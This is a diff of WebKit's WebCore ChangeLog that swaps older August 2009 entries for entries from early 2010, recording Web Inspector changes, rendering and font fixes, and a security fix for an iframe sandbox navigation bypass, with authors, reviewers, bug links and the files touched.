-        * bindings/js/JSAudioConstructor.cpp:
-        * bindings/js/JSDOMBinding.cpp:
-        * bindings/js/JSDOMBinding.h:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        * bindings/js/JSHTMLInputElementCustom.cpp:
-        * bindings/js/JSHistoryCustom.cpp:
-        * bindings/js/JSImageConstructor.cpp:
-        * bindings/js/JSLazyEventListener.cpp:
-        * bindings/js/JSLocationCustom.cpp:
-        * bindings/js/JSMessageChannelConstructor.cpp:
-        * bindings/js/JSOptionConstructor.cpp:
-        * bindings/js/JSWebSocketConstructor.cpp:
-        * bindings/js/JSWebSocketCustom.cpp:
-        * bindings/js/JSWorkerConstructor.cpp:
-        * bindings/js/JSXMLHttpRequestConstructor.cpp:
-        * bridge/jni/jni_jsobject.mm:
-        Updated includes.
-
-        * inspector/JavaScriptDebugServer.cpp:
-        (WebCore::JavaScriptDebugServer::sourceParsed):
-        Change to not assert if this is called with no listeners.
-        I don't think this was guaranteed before, and we now use
-        this code path when recompiling. Slightly less efficient,
-        but this is a one-time cost when turning on the debugger.
-        (WebCore::JavaScriptDebugServer::recompileAllJSFunctions):
-        Change to call Debugger::recompileAllJSFunctions.
-
-2009-08-13  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Eric Seidel.
-
-        <rdar://problem/7138591> and https://bugs.webkit.org/show_bug.cgi?id=28260
-        onhashchange property cannot be set from javascript.
-
-        Test: fast/loader/onhashchange-attribute-listeners.html
-
-        * html/HTMLBodyElement.cpp:
-        (WebCore::HTMLBodyElement::onhashchange):
-        (WebCore::HTMLBodyElement::setOnhashchange):
-        * html/HTMLBodyElement.h:
-        * html/HTMLBodyElement.idl:
-
-        * html/HTMLFrameSetElement.cpp:
-        (WebCore::HTMLFrameSetElement::onhashchange):
-        (WebCore::HTMLFrameSetElement::setOnhashchange):
-        * html/HTMLFrameSetElement.h:
-        * html/HTMLFrameSetElement.idl:
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor):
 
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::onhashchange):
-        (WebCore::DOMWindow::setOnhashchange):
-        * page/DOMWindow.h:
-        * page/DOMWindow.idl:
+2010-02-15  Pavel Feldman  <pfeldman@chromium.org>
 
-2009-08-13  Mark Rowe  <mrowe@apple.com>
+        Not reviewed: touch InspectorController in order to kick win bot tests
+        with new injected script contents.
 
-        Reviewed by Geoff Garen.
+        * inspector/InspectorController.cpp:
 
-        Fix leaks of RGBColor instances from below SVGColor::rgbColor.
+2010-02-14  Pavel Feldman  <pfeldman@chromium.org>
 
-        * svg/SVGColor.cpp:
-        (WebCore::SVGColor::rgbColor): Return a PassRefPtr to ensure that the newly-allocated
-        RGBColor is cleaned up by the caller.
-        * svg/SVGColor.h:
+        Reviewed by Timothy Hatcher.
 
-2009-08-13  Pavel Feldman  <pfeldman@chromium.org>
+        Web Inspector: highlight actual search match in elements panel.
 
-        Reviewed by Timothy Hatcher.
+        https://bugs.webkit.org/show_bug.cgi?id=34251
 
-        WebInspector: Migrate to DOMAgent (serialized access to DOM).
-
-        https://bugs.webkit.org/show_bug.cgi?id=28177
-
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        (WebCore::JSInspectorBackend::highlightDOMNode):
-        (WebCore::JSInspectorBackend::nodeForId):
-        (WebCore::JSInspectorBackend::idForNode):
-        (WebCore::JSInspectorBackend::wrapObject):
-        (WebCore::JSInspectorBackend::unwrapObject):
-        (WebCore::JSInspectorBackend::pushNodePathToFrontend):
-        (WebCore::JSInspectorBackend::selectDatabase):
-        (WebCore::JSInspectorBackend::selectDOMStorage):
-        * bindings/js/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject):
-        * bindings/js/ScriptObjectQuarantine.h:
-        * bindings/js/ScriptValue.cpp:
-        (WebCore::ScriptValue::isObject):
-        * bindings/js/ScriptValue.h:
-        * bindings/v8/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject):
-        * bindings/v8/ScriptObjectQuarantine.h:
-        * bindings/v8/ScriptValue.h:
-        (WebCore::ScriptValue::isObject):
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * inspector/ConsoleMessage.cpp:
-        (WebCore::ConsoleMessage::ConsoleMessage):
-        * inspector/ConsoleMessage.h:
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::clearMessages):
-        (WebCore::InspectorBackend::loaded):
-        (WebCore::InspectorBackend::highlight):
-        (WebCore::InspectorBackend::nodeForId):
-        (WebCore::InspectorBackend::idForNode):
-        (WebCore::InspectorBackend::wrapObject):
-        (WebCore::InspectorBackend::unwrapObject):
-        (WebCore::InspectorBackend::pushNodePathToFrontend):
-        (WebCore::InspectorBackend::addNodesToSearchResult):
-        (WebCore::InspectorBackend::selectDatabase):
-        (WebCore::InspectorBackend::selectDOMStorage):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::InspectorController):
-        (WebCore::InspectorController::focusNode):
-        (WebCore::InspectorController::addMessageToConsole):
-        (WebCore::InspectorController::clearConsoleMessages):
-        (WebCore::InspectorController::startGroup):
-        (WebCore::InspectorController::scriptObjectReady):
-        (WebCore::InspectorController::setFrontendProxyObject):
-        (WebCore::InspectorController::close):
-        (WebCore::InspectorController::didCommitLoad):
-        (WebCore::InspectorController::wrapObject):
-        (WebCore::InspectorController::unwrapObject):
-        * inspector/InspectorController.h:
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::setDocument):
-        (WebCore::InspectorDOMAgent::handleEvent):
-        (WebCore::InspectorDOMAgent::pushDocumentToFrontend):
-        (WebCore::InspectorDOMAgent::pushChildNodesToFrontend):
-        (WebCore::InspectorDOMAgent::nodeForId):
-        (WebCore::InspectorDOMAgent::pushNodePathToFrontend):
-        (WebCore::InspectorDOMAgent::buildObjectForNode):
-        (WebCore::InspectorDOMAgent::buildArrayForContainerChildren):
-        (WebCore::InspectorDOMAgent::innerParentElement):
-        * inspector/InspectorDOMAgent.h:
-        * inspector/InspectorDOMStorageResource.cpp:
-        (WebCore::InspectorDOMStorageResource::bind):
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::clearConsoleMessages):
-        (WebCore::InspectorFrontend::updateFocusedNode):
-        (WebCore::InspectorFrontend::setDocument):
-        (WebCore::InspectorFrontend::selectDatabase):
-        (WebCore::InspectorFrontend::selectDOMStorage):
-        (WebCore::InspectorFrontend::addNodesToSearchResult):
-        * inspector/InspectorFrontend.h:
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype.clearMessages):
-        (WebInspector.ConsoleView.prototype.completions):
-        (WebInspector.ConsoleView.prototype._reportCompletions):
-        (WebInspector.ConsoleView.prototype._messagesClicked):
-        (WebInspector.ConsoleView.prototype.doEvalInWindow.evalCallback):
-        (WebInspector.ConsoleView.prototype.doEvalInWindow):
-        (WebInspector.ConsoleView.prototype._format):
-        (WebInspector.ConsoleView.prototype._formatfunction):
-        (WebInspector.ConsoleView.prototype._formatdate):
-        (WebInspector.ConsoleView.prototype._formatregexp):
-        (WebInspector.ConsoleView.prototype._formatnode):
-        (WebInspector.ConsoleView.prototype._formatobject):
-        * inspector/front-end/DOMAgent.js:
-        (WebInspector.DOMNode):
-        (WebInspector.DOMNode.prototype._renumber):
-        (WebInspector.DOMDocument):
-        (WebInspector.DOMAgent):
-        (WebInspector.DOMAgent.prototype.getChildNodesAsync):
-        (WebInspector.DOMAgent.prototype.setAttributeAsync):
-        (WebInspector.DOMAgent.prototype.removeAttributeAsync):
-        (WebInspector.DOMAgent.prototype.setTextNodeValueAsync):
-        (WebInspector.DOMAgent.prototype.nodeForId):
-        (WebInspector.DOMAgent.prototype._setDocument):
-        (WebInspector.DOMAgent.prototype._setChildNodes):
-        (WebInspector.DOMAgent.prototype._bindNodes):
-        (WebInspector.DOMAgent.prototype._childNodeInserted):
-        (WebInspector.CSSStyleDeclaration):
-        (WebInspector.CSSStyleDeclaration.parseRule):
-        (WebInspector.setDocument):
-        (InspectorController.getStyles):
-        (InspectorController.getComputedStyle):
-        (InspectorController.getInlineStyle):
-        (InspectorController.applyStyleText):
-        (InspectorController.setStyleText):
-        (InspectorController.toggleStyleEnabled):
-        (InspectorController.applyStyleRuleText):
-        (InspectorController.addStyleSelector):
-        (InspectorController.setStyleProperty):
-        (InspectorController.getPrototypes):
-        (InspectorController.getProperties):
-        (InspectorController.setPropertyValue):
-        (InspectorController.evaluate):
-        (InspectorController.addInspectedNode):
-        (InspectorController.performSearch):
-        (InspectorController.searchCanceled):
         * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
         (WebInspector.ElementsPanel.prototype.searchCanceled):
         (WebInspector.ElementsPanel.prototype.performSearch):
-        (WebInspector.ElementsPanel.prototype._updateMatchesCount):
-        (WebInspector.ElementsPanel.prototype._updateMatchesCountSoon):
         (WebInspector.ElementsPanel.prototype.addNodesToSearchResult):
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeOutline.prototype.set focusedDOMNode.restoreHighlightToHoveredNode):
-        (WebInspector.ElementsTreeOutline.prototype.set focusedDOMNode):
-        (WebInspector.ElementsTreeElement.prototype.updateChildren):
-        (WebInspector.ElementsTreeElement.prototype._attributeEditingCommitted):
+        (WebInspector.ElementsPanel.prototype.jumpToNextSearchResult):
+        (WebInspector.ElementsPanel.prototype.jumpToPreviousSearchResult):
+        (WebInspector.ElementsPanel.prototype._highlightCurrentSearchResult):
+        (WebInspector.ElementsPanel.prototype._hideSearchHighlights):
         * inspector/front-end/InjectedScript.js:
-        (InjectedScript.applyStyleRuleText):
-        (InjectedScript.addStyleSelector):
-        (InjectedScript._doesSelectorAffectNode):
-        (InjectedScript._serializeRule):
-        (InjectedScript._serializeStyle):
-        (InjectedScript.getProperties):
-        (InjectedScript.evaluate):
-        (InjectedScript.addInspectedNode):
-        (InjectedScript.performSearch.addNodesToResults):
-        (InjectedScript.performSearch.matchExactItems):
-        (InjectedScript.performSearch.matchExactId.addNodesToResults.call):
-        (InjectedScript.performSearch.matchExactId):
-        (InjectedScript.performSearch):
-        (InjectedScript.performSearch.matchExactTagNames):
-        (InjectedScript.performSearch.matchExactAttributeNames):
-        (InjectedScript.performSearch.matchPartialTagNames):
-        (InjectedScript.performSearch.matchStartOfTagNames):
-        (InjectedScript.performSearch.matchPartialTagNamesAndAttributeValues):
-        (InjectedScript.performSearch.matchPartialAttributeValues):
-        (InjectedScript.performSearch.matchStyleSelector):
-        (InjectedScript.performSearch.matchPlainText):
-        (InjectedScript.performSearch.matchXPathQuery):
-        (InjectedScript.performSearch.finishedSearching):
-        (InjectedScript.performSearch.processChunk):
-        (InjectedScript.searchCanceled):
-        (InjectedScript._ensureCommandLineAPIInstalled.inspectObject):
-        (InjectedScript._ensureCommandLineAPIInstalled):
-        (InjectedScript._resolveObject):
-        (InjectedScript._nodeForId):
-        (InjectedScript._objectForId):
-        (InjectedScript._createProxyObject):
-        * inspector/front-end/ObjectPropertiesSection.js:
-        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate):
-        (WebInspector.ObjectPropertyTreeElement.prototype.update):
-        * inspector/front-end/ObjectProxy.js:
-        (WebInspector.ObjectProxy):
-        (WebInspector.ObjectPropertyProxy):
-        * inspector/front-end/PropertiesSidebarPane.js:
-        (WebInspector.PropertiesSidebarPane.prototype.update.callback):
-        (WebInspector.PropertiesSidebarPane.prototype.update):
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylesSidebarPane.prototype.update.callback):
-        (WebInspector.StylesSidebarPane.prototype.update):
-        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
-        (WebInspector.StylePropertiesSection.prototype.editingSelectorCancelled):
-        (WebInspector.BlankStylePropertiesSection.prototype.editingCommitted.callback):
-        (WebInspector.BlankStylePropertiesSection.prototype.editingCommitted):
-        (WebInspector.StylePropertyTreeElement.prototype):
-        * inspector/front-end/inspector.js:
-        (WebInspector._updateHoverHighlight):
-        (WebInspector.loaded):
-        (WebInspector.clearConsoleMessages):
-        (WebInspector.selectDatabase):
-        (WebInspector.selectDOMStorage):
-        (WebInspector.updateFocusedNode):
-        (WebInspector.addNodesToSearchResult):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype.findSearchMatches):
+        * inspector/front-end/TextViewer.js:
+        (WebInspector.TextViewer.prototype._paintLine):
+        * inspector/front-end/textViewer.css:
         * inspector/front-end/utilities.js:
-        (Object.proxyType):
-        * storage/Storage.h:
-        (WebCore::Storage::frame):
-
-2009-08-13  Mark Rowe  <mrowe@apple.com>
-
-        Reviewed by Geoff Garen.
-
-        Fix leaks of RGBColor instances from below CSSPrimitiveValue::getRGBColorValue.
 
-        * css/CSSPrimitiveValue.cpp:
-        (WebCore::CSSPrimitiveValue::getRGBColorValue): Return a PassRefPtr to ensure that the
-        newly-allocated RGBColor is cleaned up by the caller.
-        * css/CSSPrimitiveValue.h:
+2010-02-14  Pavel Feldman  <pfeldman@chromium.org>
 
-2009-08-13  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by David Hyatt.
-
-        wrong font size when css font-family includes monospace
-        https://bugs.webkit.org/show_bug.cgi?id=19161
-
-        Firefox only uses fixed-width default size for exactly "font-family: monospace;".
-        WebKit has historically used fixed-width default size any time a
-        font-family includes monospace in the fallback list.
-
-        This patch corrects WebKit's behavior to match Firefox.
-        I also had to fix a bug in WebKit's font-family fallback behavior where
-        child elements would inherit parts of their parents fallback lists.
-
-        This patch is mostly just replacing all cases where we used to check for:
-        fontDescription.genericFontFamily() == MonospaceFamily
-        with:
-        fontDescription.useFixedDefaultSize()
-
-        Tests: fast/css/getComputedStyle/computed-style-font-family-monospace.html
-               fast/css/getComputedStyle/font-family-fallback-reset.html
-
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
-           Deploy useFixedDefaultSize().  Also fix the bug where child
-           FontDescriptions would carry part of the parent font-family fallback list.
-        (WebCore::CSSStyleSelector::checkForGenericFamilyChange):
-           It's no longer alright to just check genericFontFamily(),
-           we have to check to make sure the changed style has a matching useFixedDefaultSize().
-        * platform/graphics/FontDescription.h:
-        (WebCore::FontDescription::useFixedDefaultSize):
-           Only use the fixed default size if we have one font family and it is "monospace".
-           "-webkit-monospace" is the internal representation of the CSS identifier "monospace".
-
-2009-08-13  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
+        Reviewed by Timothy Hatcher.
 
-        Reviewed by Dimitri Glazkov.
+        Web Inspector: XPathResult objects are not expanded in console.
 
-        [v8] Fix atomic string externalization crash.
-        Atomic string externalization assumes that all non-empty strings
-        can be externalized which is untrue on 64-bit.  This change fixed
-        that.
+        https://bugs.webkit.org/show_bug.cgi?id=34926
 
-        https://bugs.webkit.org/show_bug.cgi?id=28215
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertiesSection.prototype.updateProperties):
+        (WebInspector.ObjectPropertiesSection.CompareProperties):
+        (WebInspector.ObjectPropertyTreeElement.prototype.update):
+        * inspector/front-end/Section.js:
+        (WebInspector.Section):
+        * inspector/front-end/inspector.css:
 
-        This bug causes loads of test crashes, no need to add new tests
-        specifically for this.
+2010-02-10  Philippe Normand  <pnormand@igalia.com>
 
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::v8StringToAtomicWebCoreString):
+        Reviewed by Gustavo Noronha Silva.
 
-2009-08-13  George Staikos  <george.staikos@torchmobile.com>
+        [Gtk] wrong video aspect ratio
+        https://bugs.webkit.org/show_bug.cgi?id=34790
 
-        Rubberstamped by Darin Adler.
+        Fixed natural size calculation regarding pixel aspect ratio and
+        display aspect ratio.
 
-        Use ASSERT_UNUSED instead of UNUSED_PARAM
+        Test: media/video-display-aspect-ratio.html
 
-        * wml/WMLAnchorElement.cpp:
-        (WebCore::WMLAnchorElement::deregisterTask):
-        * wml/WMLDoElement.cpp:
-        (WebCore::WMLDoElement::deregisterTask):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::greatestCommonDivisor):
+        (WebCore::MediaPlayerPrivate::naturalSize):
 
-2009-08-13  Steve Block  <steveblock@google.com>
+2010-02-14  Adam Barth  <abarth@webkit.org>
 
         Reviewed by Darin Adler.
 
-        Fixes a couple of bugs in SecurityOrigin::createFromDatabaseIdentifier.
-        https://bugs.webkit.org/show_bug.cgi?id=28262
+        HTML5 iframe sandbox bypass of window.top.location navigation via <form target="_top">
+        https://bugs.webkit.org/show_bug.cgi?id=33277
 
-        No new tests possible.
+        submitForm wasn't respecting shouldAllowNavigation.  Instead of calling
+        the wrapper function, we need to call shouldAllowNavigation because we
+        need to handle the "frame not found" case differently than the
+        "navigation denied" case.
 
-        * page/SecurityOrigin.cpp:
-        (WebCore::SecurityOrigin::createFromDatabaseIdentifier):
-
-2009-08-13  Dirk Schulze  <krit@webkit.org>
+        Test: http/tests/security/sandboxed-iframe-form-top.html
 
-        Reviewed by Eric Seidel.
-
-        [CAIRO] getImageData fails on a given rect bigger than the image rect
-
-        The destination image and the source image was mixed up on creating the
-        imageData.
-
-        This is just a clean up and doesn't affect the current behavior. It's not
-        possible to test this failure in a LayoutTest. Only canvas uses getImageData
-        at the moment and returns before calling getImageData, if the image rect does
-        not contain the requested rect.
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::submitForm):
 
-        * platform/graphics/cairo/ImageBufferCairo.cpp:
-        (WebCore::getImageData):
+2010-02-14  Kent Tamura  <tkent@chromium.org>
 
-2009-08-13  Maxime Simon  <simon.maxime@gmail.com>
+        No review. Touch RenderRuny*.cpp to fix Chromium/Windows build bot.
 
-        Reviewed by Eric Seidel.
+        * rendering/RenderRuby.cpp: Add a comment for #endf.
+        * rendering/RenderRubyBase.cpp: Add a comment for #endf.
+        * rendering/RenderRubyRun.cpp: Add a comment for #endf.
+        * rendering/RenderRubyText.cpp: Add a comment for #endf.
 
-        [Haiku] Adding RenderTheme to WebCore.
-        https://bugs.webkit.org/show_bug.cgi?id=28258
-
-        * platform/haiku/RenderThemeHaiku.cpp: Added.
-        (WebCore::RenderThemeHaiku::create):
-        (WebCore::RenderTheme::themeForPage):
-        (WebCore::RenderThemeHaiku::RenderThemeHaiku):
-        (WebCore::RenderThemeHaiku::~RenderThemeHaiku):
-        (WebCore::supportsFocus):
-        (WebCore::RenderThemeHaiku::supportsFocusRing):
-        (WebCore::RenderThemeHaiku::platformActiveSelectionBackgroundColor):
-        (WebCore::RenderThemeHaiku::platformInactiveSelectionBackgroundColor):
-        (WebCore::RenderThemeHaiku::platformActiveSelectionForegroundColor):
-        (WebCore::RenderThemeHaiku::platformInactiveSelectionForegroundColor):
-        (WebCore::RenderThemeHaiku::platformTextSearchHighlightColor):
-        (WebCore::RenderThemeHaiku::systemFont):
-        (WebCore::RenderThemeHaiku::paintCheckbox):
-        (WebCore::RenderThemeHaiku::setCheckboxSize):
-        (WebCore::RenderThemeHaiku::paintRadio):
-        (WebCore::RenderThemeHaiku::setRadioSize):
-        (WebCore::RenderThemeHaiku::adjustMenuListStyle):
-        (WebCore::RenderThemeHaiku::paintMenuList):
-        * platform/haiku/RenderThemeHaiku.h: Added.
-        (WebCore::RenderThemeHaiku::supportsHover):
-
-2009-08-13  Maxime Simon  <simon.maxime@gmail.com>
+2010-02-13  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Timothy Hatcher.
 
-        [Haiku] Remove the "m_point" code from ContextMenuHaiku.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=28256
+        Web Inspector: cache created row, span and text elements
+        in TextView to improve scroller performance on debug build.
 
-        * platform/haiku/ContextMenuHaiku.cpp:
-        (WebCore::ContextMenuReceiver::ContextMenuReceiver):
-        (WebCore::ContextMenu::ContextMenu):
-        (WebCore::ContextMenu::appendItem):
-        (WebCore::ContextMenu::insertItem):
+        https://bugs.webkit.org/show_bug.cgi?id=34921
 
-2009-08-13  Joseph Pecoraro  <joepeck02@gmail.com>
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype.set visible):
+        * inspector/front-end/TextViewer.js:
+        (WebInspector.TextViewer):
+        (WebInspector.TextViewer.prototype.freeCachedElements):
+        (WebInspector.TextViewer.prototype._buildChunks):
+        (WebInspector.TextViewer.prototype._makeLineAChunk):
+        (WebInspector.TextViewer.prototype._paintLine):
+        (WebInspector.TextViewer.prototype._releaseLines):
+        (WebInspector.TextViewer.prototype._appendSpan):
+        (WebInspector.TextViewer.prototype._appendTextNode):
+        (WebInspector.TextChunk):
+        (WebInspector.TextChunk.prototype.set expanded):
+        (WebInspector.TextChunk.prototype._lineNumberText):
+        (WebInspector.TextChunk.prototype._createRow):
+
+2010-02-13  Kent Tamura  <tkent@chromium.org>
 
         Reviewed by Darin Adler.
 
-        Inspector: Show Hidden Cookie Data
-        https://bugs.webkit.org/show_bug.cgi?id=28185
-
-          Added new file Cookie.h to the WebCore XCode
-
-        * WebCore.xcodeproj/project.pbxproj:
-
-          InspectorController.cookies() binding
-
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        (WebCore::JSInspectorBackend::cookies):
-        * inspector/InspectorBackend.idl:
-
-          Struct for static Cookie information
-          (name, value, path, domain, expires, httpOnly, secure, session)
-
-        * platform/Cookie.h: Added.
-        (WebCore::Cookie::Cookie):
-        
-          Getter for the a list of raw Cookies
-          getRawCookies(., ., out Vector<Cookie>)
-        
-        * platform/CookieJar.h:
-
-          Implementation of getRawCookies for the mac platform.
-
-        * platform/mac/CookieJar.mm:
-        (WebCore::getRawCookies):
-
-          Stub other CookieJar implementations to satisfy the interface.
-
-        * platform/haiku/CookieJarHaiku.cpp:
-        (WebCore::getRawCookies):
-        * platform/network/chromium/CookieJarChromium.cpp:
-        (WebCore::getRawCookies):
-        * platform/network/curl/CookieJarCurl.cpp:
-        (WebCore::getRawCookies):
-        * platform/network/soup/CookieJarSoup.cpp:
-        (WebCore::getRawCookies):
-        * platform/network/win/CookieJarCFNetWin.cpp:
-        (WebCore::getRawCookies):
-        * platform/network/win/CookieJarWin.cpp:
-        (WebCore::getRawCookies):
-        * platform/qt/CookieJarQt.cpp:
-        (WebCore::getRawCookies):
-
-2009-08-13  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+        Refactor parsing/serialization functions in HTMLInputElement.
+        https://bugs.webkit.org/show_bug.cgi?id=34852
 
-        Reviewed by Timothy Hatcher.
-
-        Add a new gesture in Web Inspector to remove breakpoints
-        https://bugs.webkit.org/show_bug.cgi?id=19131
+        - Rename formStringToDouble() to parseToDoubleForNumberType()
+        - Rename formStringToDateComponents() to parseToDateComponents()
+        - Rename formStringFromDouble() to serializeForNumberType()
+        - Add serializeForDateTimeTypes()
+          The code is moved from setValueAsDate() and setDateValue().
+        - Add serialize()
         
-        * inspector/front-end/SourceFrame.js:
-        (WebInspector.SourceFrame.prototype._documentMouseDown):
-
-2009-08-13  Norbert Leser  <norbert.leser@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Symbian target components (library and executable files)
-        require Unique Identifiers (i.e., UID3).
-        These identifiers are defined in the respective project
-        file, conditionally for "symbian" platform.
-
-        * WebCore.pro:
-
-2009-08-13  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        wrong calculation of overflow size for flexbox and table
-        https://bugs.webkit.org/show_bug.cgi?id=28064
-
-        RenderFlexibleBox and RenderTable were using the width of overflow
-        to update height of overflow, so height became wrong value and
-        width was not updated. As the corresponding code of RenderBlock
-        was sane, I factored it out and used from RenderFlexibleBox and
-        RenderTable.
-
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::updateOverflowWithShadowAndReflection): created from code of layoutBlock
-        (WebCore::RenderBlock::layoutBlock):
-        * rendering/RenderBlock.h:
-        * rendering/RenderFlexibleBox.cpp: use updateOverflowWithShadowAndReflection
-        (WebCore::RenderFlexibleBox::layoutBlock):
-        * rendering/RenderTable.cpp:
-        (WebCore::RenderTable::layout): use updateOverflowWithShadowAndReflection
+        parseToDouble() is the top-level function to parse a
+        type-dependent string and return a double
+        value. parseToDoubleForNumber() and parseToDateComponents()
+        functions are helper functions for it. serialize() is the
+        top-level function to serialize a double value to a type-dependent
+        string, and serializeForNumberType() and
+        serializeForDateTimeTypes() are helper functions for it.
 
-2009-08-13  Mark Rowe  <mrowe@apple.com>
+        No tests because of no functional changes.
 
-        Revert r47185, the fix for <https://bugs.webkit.org/show_bug.cgi?id=28185>, as it broke the
-        Windows build in a non-obvious manner.
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::stepMismatch):
+        (WebCore::HTMLInputElement::getAllowedValueStep):
+        (WebCore::HTMLInputElement::parseToDouble):
+        (WebCore::HTMLInputElement::valueAsDate):
+        (WebCore::HTMLInputElement::setValueAsDate):
+        (WebCore::HTMLInputElement::setValueAsNumber):
+        (WebCore::HTMLInputElement::serializeForDateTimeTypes):
+        (WebCore::HTMLInputElement::serialize):
+        (WebCore::HTMLInputElement::serializeForNumberType):
+        (WebCore::HTMLInputElement::parseToDoubleForNumberType):
+        (WebCore::HTMLInputElement::parseToDateComponents):
+        * html/HTMLInputElement.h:
+        * html/ValidityState.cpp:
+        (WebCore::ValidityState::typeMismatch):
+        * rendering/RenderSlider.cpp:
+        (WebCore::SliderRange::valueFromElement):
+        (WebCore::RenderSlider::updateFromElement):
+        (WebCore::RenderSlider::setValueForPosition):
 
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        * inspector/InspectorBackend.idl:
-        * platform/Cookie.h: Removed.
-        * platform/CookieJar.h:
-        * platform/haiku/CookieJarHaiku.cpp:
-        (WebCore::setCookies):
-        (WebCore::cookies):
-        * platform/mac/CookieJar.mm:
-        * platform/network/chromium/CookieJarChromium.cpp:
-        * platform/network/curl/CookieJarCurl.cpp:
-        * platform/network/soup/CookieJarSoup.cpp:
-        * platform/network/win/CookieJarCFNetWin.cpp:
-        * platform/network/win/CookieJarWin.cpp:
-        * platform/qt/CookieJarQt.cpp:
+2010-01-05  Ojan Vafai  <ojan@chromium.org>
 
-2009-08-13  Ariya Hidayat  <ariya.hidayat@nokia.com>
+        Reviewed by Dan Bernstein.
 
-        Not reviewed: build fix (for r47192), adding new file from
-        https://bugs.webkit.org/show_bug.cgi?id=28174
+        Improve text control intrinsic widths.
+        https://bugs.webkit.org/show_bug.cgi?id=25566
+        https://bugs.webkit.org/show_bug.cgi?id=25581
+        https://bugs.webkit.org/show_bug.cgi?id=25958
 
-        * inspector/front-end/StatusBarButton.js: Added.
+        For Mac fonts that have invalid avgCharWidth entries in the OS/2 table,
+        fallback to the Safari 4- behavior of using the width of a zero. For other
+        fonts, make Mac match Windows (and thus IE) metrics.
 
-2009-08-13  Mikhail Naganov  <mnaganov@chromium.org>
+        Lucida Grande is hard-coded to match MS Shell Dlg for inputs and
+        Courier New for textareas in order to match Safari Win, Firefox and, in
+        some cases IE (IE uses different default fonts depending on encoding).
 
-        Reviewed by Timothy Hatcher.
+        The only case where we still don't match Windows is if no font-size is
+        set. The default font-size for form controls on the Mac is smaller and
+        thus text-control widths will be slightly smaller.
 
-        Introduced StatusBarButton class that encapsulates glyphs support.
-        Views updated accordingly.
+        No new tests. Covered by existing tests.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28174
+        * platform/graphics/mac/SimpleFontDataMac.mm:
+        (WebCore::SimpleFontData::platformCharWidthInit):
+        * rendering/RenderTextControl.cpp:
+        (WebCore::):
+        (WebCore::RenderTextControl::hasValidAvgCharWidth):
+        (WebCore::RenderTextControl::getAvgCharWidth):
+        (WebCore::RenderTextControl::calcPrefWidths):
+        * rendering/RenderTextControl.h:
+        (WebCore::RenderTextControl::scaleEmToUnits):
+        * rendering/RenderTextControlMultiLine.cpp:
+        (WebCore::RenderTextControlMultiLine::getAvgCharWidth):
+        * rendering/RenderTextControlMultiLine.h:
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::getAvgCharWidth):
+        (WebCore::RenderTextControlSingleLine::preferredContentWidth):
+        * rendering/RenderTextControlSingleLine.h:
 
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * inspector/front-end/CookieItemsView.js:
-        (WebInspector.CookieItemsView):
-        (WebInspector.CookieItemsView.prototype.get statusBarItems): Updated to retrieve DOM element from StatusBarButton instance (here and in similar getters below.)
-        (WebInspector.CookieItemsView.prototype.hide):
-        (WebInspector.CookieItemsView.prototype.update):
-        * inspector/front-end/DOMStorageItemsView.js:
-        (WebInspector.DOMStorageItemsView):
-        (WebInspector.DOMStorageItemsView.prototype.get statusBarItems):
-        (WebInspector.DOMStorageItemsView.prototype.hide):
-        (WebInspector.DOMStorageItemsView.prototype.update):
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel):
-        (WebInspector.ElementsPanel.prototype.get statusBarItems):
-        (WebInspector.ElementsPanel.prototype.hide):
-        (WebInspector.ElementsPanel.prototype._nodeSearchButtonClicked):
-        * inspector/front-end/Panel.js:
-        * inspector/front-end/ProfileView.js:
-        (WebInspector.ProfileView):
-        (WebInspector.ProfileView.prototype.get statusBarItems):
-        (WebInspector.ProfileView.prototype._updatePercentButton):
-        (WebInspector.ProfileView.prototype._focusClicked):
